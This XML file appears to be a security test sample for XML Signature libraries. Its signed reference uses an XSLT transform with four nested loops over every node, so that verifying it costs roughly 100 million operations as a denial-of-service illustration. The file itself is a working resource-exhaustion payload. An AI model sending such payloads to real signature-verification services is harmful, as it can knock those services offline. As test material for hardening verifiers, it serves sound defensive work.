<!--
Illustration of a Denial of Serivce Attack - complex XSLT transform
====================================================================

This document has a 100 <e2> elements
The XSLT transform does 4 levels of nested loops, and in each loop it goes over all these 100 elements
So it takes 100 x 100 x 100 x 100 = 100,000,000 operations to evaluate this document

HMAC password = sample
-->
<ns0:e0 xmlns:ns0="http://www.w3.org/ns0">
 <ns0:e1 xml:id="e1"> 
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
  <ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/><ns0:e2/>
 </ns0:e1>
 <dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
  <dsig:SignedInfo>
   <dsig:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
   <dsig:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1"/>
   <dsig:Reference URI="#e1">
    <dsig:Transforms>
     <dsig:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
      <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
       <xsl:template match="/">
        <xsl:for-each select="//. | //@* ">
         <xsl:for-each select="//. | //@* ">
          <xsl:for-each select="//. | //@* ">
           <xsl:for-each select="//. | //@* ">
            <foo/>
           </xsl:for-each>
          </xsl:for-each>
         </xsl:for-each>
        </xsl:for-each>
       </xsl:template>
      </xsl:stylesheet>
     </dsig:Transform>
    </dsig:Transforms>
    <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
    <dsig:DigestValue>HktV2v/dAI54wa2NmVIhwZffXy0=</dsig:DigestValue>
   </dsig:Reference>
  </dsig:SignedInfo>
  
 <dsig:SignatureValue>PZgbxImZ2W97p7nJJruL5KeWsdE=</dsig:SignatureValue></dsig:Signature>
</ns0:e0>
